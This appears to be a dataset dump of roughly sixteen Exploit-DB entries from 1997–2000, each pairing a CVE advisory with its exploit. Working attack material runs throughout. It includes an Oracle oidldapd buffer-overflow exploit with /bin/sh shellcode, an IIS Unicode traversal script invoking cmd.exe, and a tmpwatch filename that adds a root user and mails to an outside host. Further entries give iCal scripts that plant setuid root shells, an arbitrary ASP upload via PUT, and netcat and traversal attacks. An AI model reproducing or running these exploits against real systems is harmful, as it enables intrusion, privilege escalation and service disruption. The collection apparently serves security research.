QLWD/code_shield huggingface dataset:
标题: Allaire JRun 3 - Directory Disclosure EDB-ID: 20313 CVE: 2000-1050 类型: REMOTE 平台: MULTIPLE 发布日期: 2000-10-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/1830/info


Allaire JRun is a web application development suite with JSP and Java Servlets. 

Each web application directory contains a WEB-INF directory, this directory contains information on web application classes, pre-compiled JSP files, server side libraries, session information and files such as web.xml and webapp.properties.

JRun contains a vulnerability which allows remote user to view the contents of the WEB-INF directory. By requesting a malformed URL comprised of an additional '/' all of the directories below the WEB-INF directory will be revealed.

Successful exploitation of this vulnerability could lead to a remote attacker gaining read access to any file within the WEB-INF directory.

While this issue was addressed in earlier patches, it is still a problem if the attacker makes a raw specially crafted HTTP GET Request through a Microsoft IIS connector using a utility such as netcat or telnet.

The following request will disclose the contents of WEB-INF:

http://target//WEB-INF/

This may also be exploited by submitting the maliciously crafted URL via a HTTP GET request using utilities like netcat or telnet. URL: https://www.exploit-db.com/exploits/20313
标题: Microsoft Site Server 2.0 with IIS 4.0 - Arbitrary File Upload EDB-ID: 20305 CVE: 1999-0360 类型: REMOTE 平台: WINDOWS 发布日期: 1999-01-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/1811/info

Microsoft Site Server is an intranet server designed for an NT Server with IIS. Site Server enables users to locate and view information stored in various locations through personalized web pages and emails.

The 'Users' directory, if not already created, is automatically generated once the first successful upload has been completed. By default the 'Everyone' group is given NTFS Change privileges in the 'Users' directory. As well, Scripting and Write permissions are assigned by IIS. Due to all of these factors, it is possible for a user to create and upload various content including ASP pages to the web server through the Anonymous Internet Account (IUSR_machinename).

If one does not have knowledge of a password to access the services in Site Server, a user could telnet to port 80 on the web server and perform a specially crafted PUT request. Once the file is created performing a specially formed GET request will execute the file.

Successful exploitation of this vulnerability will allow a remote user to possibly upload malicious content to the web site.

PUT /users/non-aggressive-script.asp HTTP/1.0
Content-length: 120
Entity-body:
<HTML>
<BODY>
Request method is <% Response.Write
Request.ServerVariables("REQUEST_METHOD")%>.<BR>
</BODY>
</HTML>
\n
\n
\n URL: https://www.exploit-db.com/exploits/20305
标题: Oracle Internet Directory 2.0.6 - oidldap EDB-ID: 20312 CVE: 2000-0987 类型: LOCAL 平台: LINUX 发布日期: 2000-10-18 漏洞利用脚本: // source: https://www.securityfocus.com/bid/1828/info

Oracle Internet Directory 2.0.6 is a pre-alpha development release, available as both an addon package and in the Oracle Database Software release 8.1.6. A vulnerability has been found in the oidldap binary within the package.

A buffer overflow exists in the oidldap binary, which is setuid oracle. When executed on the command line, the oidldap binary performs an unsafe check of the ORACLE_HOME environment variable. It is possible for a malicous user to execute shell code through the ORACLE_HOME environment variable, allowing the user to inherit an euid of oracle. In a stock installation of Oracle 8.1.6, this could create a scenario which would allow a local user to compromise the integrity of a database.

/*
Exploit Code for oidldapd in Oracle 8.1.6 (8ir2) for Linux. I tested in RH 6.2
and 6.1. This code is a bullshit (i know please no comments about ;-)).

If someone exports this to Sparc please tell me.

synopsis: buffer overflow in oidldapd
impact:   any user gain euid=oracle.


Dedicated to PlazaSite guys. Klink Klink Team. Panxeta, Entrophy and others.
*/

#include <stdio.h>
#include <stdlib.h>

#define DEFAULT_OFFSET                   13
#define DEFAULT_BUFFER_SIZE             700
#define NOP                            0x90
#define ORACLE_HOME             "/usr/local/oracle/app/oracle/product/8.1.6"

char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {
   __asm__("movl %esp,%eax");
}

void main(int argc, char *argv[]) {
  char *buff, *ptr,*name[3],environ[100],binary[120];
  long *addr_ptr, addr;
  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  int i;


  buff = malloc(bsize);
  addr = get_sp() - offset;
  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;

  for (i = 0; i < bsize/2; i++)
    buff[i] = NOP;

  ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];

  buff[bsize - 1] = '\0';

  memcpy(buff,"EGG=",4);
  putenv(buff);
  sprintf(environ,"ORACLE_HOME=%s",ORACLE_HOME);
  putenv(environ);
  sprintf(binary,"%s/bin/oidldapd connect=$EGG",ORACLE_HOME);
  system(binary);
} URL: https://www.exploit-db.com/exploits/20312
标题: Oatmeal Studios Mail File 1.10 - Arbitrary File Disclosure EDB-ID: 20303 CVE: 2000-0977 类型: REMOTE 平台: CGI 发布日期: 2000-10-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/1807/info

OatMeal studios' Mail-File is a cgi application that allows for sending of certain files to user-specified email addresses via a web interface. A vulnerability exists in this script that can be used to send the contents of <i>any</i> readable user-specified files to an email address. When used normally, the web interface provides the user with the option to select files to send that have been pre-configured in the script. The values of the form variables associated with each "pre-configured file" are the actual filenames that are used when opening the files. As a result, the user can manipulate the filename value so that the script will, instead of opening one of the "normal" options, open whatever has been specified as the filename (eg "../../../../../../../../../etc/passwd"). The script also checks the value of the referrer when accepting submitted input from the form but fails to protect against this attack. If exploited, an attacker can read arbitrary files on the filesystem with the privileges of the webserver. This may lead to further compromise.

#!/usr/bin/perl

use HTTP::Request::Common;
use LWP::UserAgent;

$ua = LWP::UserAgent->new;
$res = $ua->request(POST 'http://domain/mailfile.cgi',
[real_name => 'value1',
email => 'value2',
filename => 'value3',
]);

--snip--

value3 = target filename
value2 = where to send the file to
value1 = username.. can be anything. URL: https://www.exploit-db.com/exploits/20303
标题: Microsoft IIS 4.0/5.0 and PWS - Extended Unicode Directory Traversal (2) EDB-ID: 20299 CVE: 2000-0884 类型: REMOTE 平台: WINDOWS 发布日期: 2000-10-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/1806/info
 
Microsoft IIS 4.0 and 5.0 are both vulnerable to double dot "../" directory traversal exploitation if extended UNICODE character representations are used in substitution for "/" and "\".
 
Unauthenticated users may access any known file in the context of the IUSR_machinename account. The IUSR_machinename account is a member of the Everyone and Users groups by default, therefore, any file on the same logical drive as any web-accessible file that is accessible to these groups can be deleted, modified, or executed. Successful exploitation would yield the same privileges as a user who could successfully log onto the system to a remote user possessing no credentials whatsoever.
 
It has been discovered that a Windows 98 host running Microsoft Personal Web Server is also subject to this vulnerability. (March 18, 2001)
 
This is the vulnerability exploited by the Code Blue Worm.
 
**UPDATE**: It is believed that an aggressive worm may be in the wild that actively exploits this vulnerability.

#!/usr/bin/perl
# Very simple PERL script to test a machine for Unicode vulnerability. 
# Use port number with SSLproxy for testing SSL sites
# Usage: unicodecheck IP:port
# Only makes use of "Socket" library
# Roelof Temmingh 2000/10/21
# roelof@sensepost.com http://www.sensepost.com

use Socket;
# --------------init
if ($#ARGV<0) {die "Usage: unicodecheck IP:port\n";}
($host,$port)=split(/:/,@ARGV[0]);
print "Testing $host:$port : ";
$target = inet_aton($host);
$flag=0;
# ---------------test method 1
my @results=sendraw("GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0\r\n\r\n");
foreach $line (@results){
 if ($line =~ /Directory/) {$flag=1;}}
# ---------------test method 2
my @results=sendraw("GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0\r\n\r\n");
foreach $line (@results){
 if ($line =~ /Directory/) {$flag=1;}}
# ---------------result
if ($flag==1){print "Vulnerable\n";}
else {print "Safe\n";}
# ------------- Sendraw - thanx RFP rfp@wiretrip.net
sub sendraw {   # this saves the whole transaction anyway
        my ($pstr)=@_;
        socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
                die("Socket problems\n");
        if(connect(S,pack "SnA4x8",2,$port,$target)){
                my @in;
                select(S);      $|=1;   print $pstr;
                while(<S>){ push @in, $_;}
                select(STDOUT); close(S); return @in;
        } else { die("Can't connect...\n"); }
}
# Spidermark: sensepostdata URL: https://www.exploit-db.com/exploits/20299
标题: Hilgraeve HyperTerminal 6.0 - Telnet Buffer Overflow EDB-ID: 20307 CVE: 2000-0991 类型: DOS 平台: WINDOWS 发布日期: 2000-10-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/1815/info


Hilgraeve HyperTerminal is a communications/telnet application shipped and installed with every copy of Microsoft Windows 98, ME, NT 4.0, and 2000. It is the default telnet client in Microsoft 98 and ME but not in Windows NT 4.0 / 2000.

A buffer overflow condition exists when a user attempts to access a telnet address over 153 characters long. Depending on the data entered, a denial of service attack or arbitrary code could be launched by a malicious third party. A specially malformed telnet address could be launched on a remote system if it were embedded in a HTML page or email message.

Although HyperTerminal is also shipped with NT 4.0, it is not susceptible to this vulnerability because it cannot be configured to be the default telnet client.

telnet://<string consisting of over 153 characters> URL: https://www.exploit-db.com/exploits/20307
标题: Omnicron OmniHTTPd 1.1/2.0 Alpha 1 - 'visiadmin.exe' Denial of Service EDB-ID: 20304 CVE: 1999-0970 类型: DOS 平台: WINDOWS 发布日期: 1999-06-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/1808/info

OmniHTTPD is a web-server offered by Omnicron for the MS Windows platform. One of the CGI utilities it ships with and installs by default contains a bug that could, if exploited, lead to a denial of service condition on host it runs on. When the "visiadmin.exe" program is executed via CGI with the argument "user=guest", it creates temporary files until the hard drive fills. The files then need to be manually removed before anything can be written to the disk. The technical reasons for this behaviour are not known.

http://omni.server/cgi-bin/visadmin.exe?user=guest URL: https://www.exploit-db.com/exploits/20304
标题: Microsoft IIS 4.0 - Pickup Directory Denial of Service EDB-ID: 20310 CVE: 2000-0167 类型: DOS 平台: WINDOWS 发布日期: 2000-02-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/1819/info

An email with a filename consisting of over 86 characters and an extension of .txt.eml will cause Microsoft IIS to crash if placed in the \mailroot\pickup directory. The process inetinfo.exe will crash, resulting in a Dr. Watson access violation error. Restarting IIS is required in order to regain normal functionality.

' PLEASE PROVIDE YOUR PICKUP PATH HERE
Rootpath = "c:\inetpub\mailroot\pickup\"

Set fso = createobject("scripting.filesystemobject")
Thename = Createkey & fso.GetTempName & ".eml"
Set Thefile = fso.GetFolder(rootpath).CreateTextFile(TheName)
Thefile.writeline "X-Sender: CRASHTHIS@my.net"
Thefile.writeline "X-Receiver: dump@my.net"
Thefile.writeline "From: <CRASHTHIS@my.net>"
Thefile.writeline "To: <dump@my.net>"
Thefile.writeline "Subject: MINE DID NOT CRASH"
Thefile.writeline "Date: " & now()
Thefile.writeline "X-Generator: " & Thename
Thefile.close
Set thefile = nothing
Thename = ""

Function Createkey
for z = 1 to 80
randomize
a = Int((25 * Rnd) + 1)
password = password & chr(a+65)
next
Createkey = password
end function
' Warning IF InetInfo.exe crashes it cannot be started again as long as the
file is still there!

</example script> URL: https://www.exploit-db.com/exploits/20310
标题: RedHat 6.2/7.0 Tmpwatch - Arbitrary Command Execution EDB-ID: 20285 CVE: 2000-0816 类型: LOCAL 平台: LINUX 发布日期: 2000-10-06 漏洞利用脚本: // source: https://www.securityfocus.com/bid/1785/info

A vulnerability exists in tmpwatch, a utility which automates the removal of temporary files in unix-like systems. An optional component of tmpwatch, fuser, improperly handles arguments to system() library calls. If an attacker creates a file with a maliciously-constructed filename including shell meta characters, and -fuser is run on this file, the attacker may be able to execute arbitrary commands, potentially compromising superuser access if tmpwatch is run with root privileges.

#include <stdio.h>

int main()
{
   FILE *f;
   char filename[100] = ";useradd -u 0 -g 0 haks0r;mail 
haks0r@somehost.com<blablabla";

   if((f = fopen(filename, "a")) == 0) {
      perror("Could not create file");
      exit(1);
   }
   close(f);
} URL: https://www.exploit-db.com/exploits/20285
标题: Microsoft Windows 9x/ME - Share Level Password Bypass (2) EDB-ID: 20284 CVE: 2000-0979 类型: REMOTE 平台: WINDOWS 发布日期: 2000-10-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/1780/info
 
Share level password protection for the File and Print Sharing service in Windows 95/98/ME can be bypassed.
 
Share level access provides peer to peer networking capabilities in the Windows 9x/ME environment. It depends on password protection in order to grant or deny access to resources. Due to a flaw in the implementation of File and Print Sharing security, a remote intruder could access share level protected resources without entering a complete password by programatically modifying the data length of the password.
 
The flaw is due to the NetBIOS implementation in the password verification scheme share level access utilizes.
 
The password length is compared to the length of data sent during the password verification process. If the password was programatically set to be 1 byte, then only the first byte would be verified. If a remote attacker was able to correctly guess the value of the first byte of the password on the target machine, access would be granted to the share level protected resource.
 
Windows 9x remote administration is also affected by this vulnerability because it uses the same authentication scheme.
 
Successful exploitation of this vulnerability could lead to the retrieval, modification, addition, and deletion of files residing on a file or print share.


https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/20284.tar.gz URL: https://www.exploit-db.com/exploits/20284
标题: XFree86 3.3.5/3.3.6 - Xlib Display Buffer Overflow EDB-ID: 20294 CVE: 2000-0976 类型: LOCAL 平台: UNIX 发布日期: 2000-10-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/1805/info

A vulnerability exists in xlib, the C language interface to the X Window System protocol. 

When applications linked to the xlib library are run, user-supplied values for the DISPLAY environment variable (and the command-line argument -display) are stored in buffers of predefined length. It is not verified that the amount data is within the predefined size limits before it is copied onto the stack during function calls. 

Consequently it is possible for users to overwrite stack variables such as the calling function's return address with arbitrary values that can alter the program's flow of execution. 

While this vulnerability permits only numeric characters to be written to the stack, a successful exploit of this vulnerability can lead to partial overwriting of addresses and local variables.

cwsys$ DISPLAY=:`perl -e '{print "0"x128}'` xterm
Segmentation fault
cwsys$ URL: https://www.exploit-db.com/exploits/20294
标题: Microsoft NetMeeting 3.0.1 4.4.3385 - Remote Desktop Sharing Denial of Service EDB-ID: 20289 CVE: 2000-0983 类型: DOS 平台: WINDOWS 发布日期: 2000-10-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/1798/info

The Remote Desktop Sharing component of Microsoft NetMeeting for Windows NT 4.0 / 2000 does not properly handle a particular type of malformed input string sent over port 1720. CPU utilization can be caused to spike to 100% and any existing NetMeeting sessions would fail in the event of an attack. Restarting the application would be required in order to regain normal functionality.

NetMeeting, including the affected component Remote Desktop Sharing, is shipped with Microsoft 2000 but is not enabled by default. NetMeeting can be downloaded as an add-on for NT 4.0.

*A new variant of this vulnerability has been discovered, the result of the new variant is the same as the originally discovered issue. No further technical details have been made available. User's are encouraged to install the latest patch.

nc target 1720 < /dev/zero URL: https://www.exploit-db.com/exploits/20289
标题: AIX 3.x - bugfiler Arbitrary File Creation EDB-ID: 20290 CVE: 1999-0115 类型: LOCAL 平台: AIX 发布日期: 1997-09-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/1800/info

A vulnerability exists in AIX 3.* versions of bugfiler, a utility which automates the process of reporting an filing system bugs. Bugfiler, installed setuid root, creates files in a directory specified by the user invoking the program (example: $/lib/bugfiler -b <user> directory>). It may be possible for an attacker to create files in arbitrary directories that are owned by attacker-specified users. This may result in an elevation of privileges for the attacker. Further technical details about this vulnerability are not known.

$whoami eviluser 
$/lib/bugfiler -b <user> <directory> creates funny files under the <user>-owned <directory> and that may be used by crackers to increase privileges. See the manpage of bugfiler for more information. (bugfiler does not work for some <user>s) URL: https://www.exploit-db.com/exploits/20290
标题: Hassan Consulting Shopping Cart 1.18 - Directory Traversal EDB-ID: 20281 CVE: 2000-0921 类型: REMOTE 平台: CGI 发布日期: 2000-10-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/1777/info

The $page variable in Hassan Consulting Shopping Cart does not properly check for insecure relative paths such as the double dot "..". Therefore, requesting the following URL will display the specified file:

http://target/cgi-bin/shop.cgi/page=../../../path/filename.ext

Successful exploitation could lead to a remote intruder gaining read access to any known file. URL: https://www.exploit-db.com/exploits/20281
标题: Microsoft Windows 9x/ME - Share Level Password Bypass (1) EDB-ID: 20283 CVE: 2000-0979 类型: REMOTE 平台: WINDOWS 发布日期: 2000-10-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/1780/info

Share level password protection for the File and Print Sharing service in Windows 95/98/ME can be bypassed. 

Share level access provides peer to peer networking capabilities in the Windows 9x/ME environment. It depends on password protection in order to grant or deny access to resources. Due to a flaw in the implementation of File and Print Sharing security, a remote intruder could access share level protected resources without entering a complete password by programatically modifying the data length of the password.

The flaw is due to the NetBIOS implementation in the password verification scheme share level access utilizes. 

The password length is compared to the length of data sent during the password verification process. If the password was programatically set to be 1 byte, then only the first byte would be verified. If a remote attacker was able to correctly guess the value of the first byte of the password on the target machine, access would be granted to the share level protected resource.

Windows 9x remote administration is also affected by this vulnerability because it uses the same authentication scheme.

Successful exploitation of this vulnerability could lead to the retrieval, modification, addition, and deletion of files residing on a file or print share.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/20283.zip URL: https://www.exploit-db.com/exploits/20283
标题: Netscape iCal 2.1 Patch2 - iPlanet iCal 'iplncal.sh' Permissions EDB-ID: 20275 CVE: 2000-1072 类型: LOCAL 平台: SOLARIS 发布日期: 2000-10-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/1768/info

Netscape's iPlanet iCal application is a network based calendar service built for deployment in organizations which require a centralized calendar system. Certain versions of iCal ship with a vulnerability introduced in the installation process which will allow malicious local users to gain root on the system.

During the installation process a large number of files are left world readable and writable. One such file, /opt/SUNWicsrv/cal/bin/iplncal.sh is designed to be run at startup as root and is world writable by default. This allows users to modify the contents of this startup script and have it executed at boot up time or whenever the machine is re-initialized.

Proof of Concept Tools:

There are two scripts below, the first obtains an icsuser shell.
The second script is used to obtain root access the next time iCal is
stopped or started. The second script should be run once you've obtained
the shell and have become the icsuser. This second script creates a shim
libsocket.so.1 library with a modified socket() function that then
executes a shell script as root.

[begin: obtain-ics.sh]
#!/bin/sh
#
# Simple proof of concept exploit used to obtain icsuser shell.
#
# -sili@atstake.com
#
INSTDIR=`cat /etc/iplncal.conf`

cat > cshttpd << FOOFOO
#!/bin/sh
cp /usr/bin/ksh ./icsuser
chmod 4755 ./icsuser
FOOFOO

chmod 755 ./cshttpd

echo "Executing csstart...."
$INSTDIR/cal/bin/csstart -v -p 1 -a 2 2>/dev/null

sleep 1
ls -al ./icsuser
[end: obtain-ics.sh]


[begin: obtain-root.sh]
#!/bin/sh
#
# Simple iCal exploit. Become icsuser by running the shell created with
# the
# obtain-ics.sh script, and then run this shell script. The next time that
# the
# service is started by root (ie. system reboot), a root owned suid shell
# will
# be created: /tmp/r00tshell. 
#
# -sili@atstake.com
#

INSTDIR=`cat /etc/iplncal.conf`

#######
#Create the shim library..

cat > libsushi.c << FOEFOE
/* libsushi
compile: gcc -shared -nostartfiles -nostdlib -fPIC -o libsushi
libsushi.c
*/
#include <unistd.h>
int socket(void)
{
setuid(0);
execl("./icalroot","icalroot",0);
return 0;
}
FOEFOE

#####
#create the shell script we'll be executing as root..

cat > $INSTDIR/cal/bin/icalroot << FOOFOO
#!/bin/sh
cp /usr/bin/ksh /tmp/r00tshell
chmod 4755 /tmp/r00tshell
rm $INSTDIR/cal/bin/icalroot
rm $INSTDIR/cal/bin/libsocket.so.1
ls -l $INSTDIR/cal/bin/icalroot

echo ".. Now wait for the iCal service to start up again"
[end: obtain-root.sh]


For more advisories: http://www.atstake.com/research/advisories/
PGP Key: http://www.atstake.com/research/pgp_key.asc URL: https://www.exploit-db.com/exploits/20275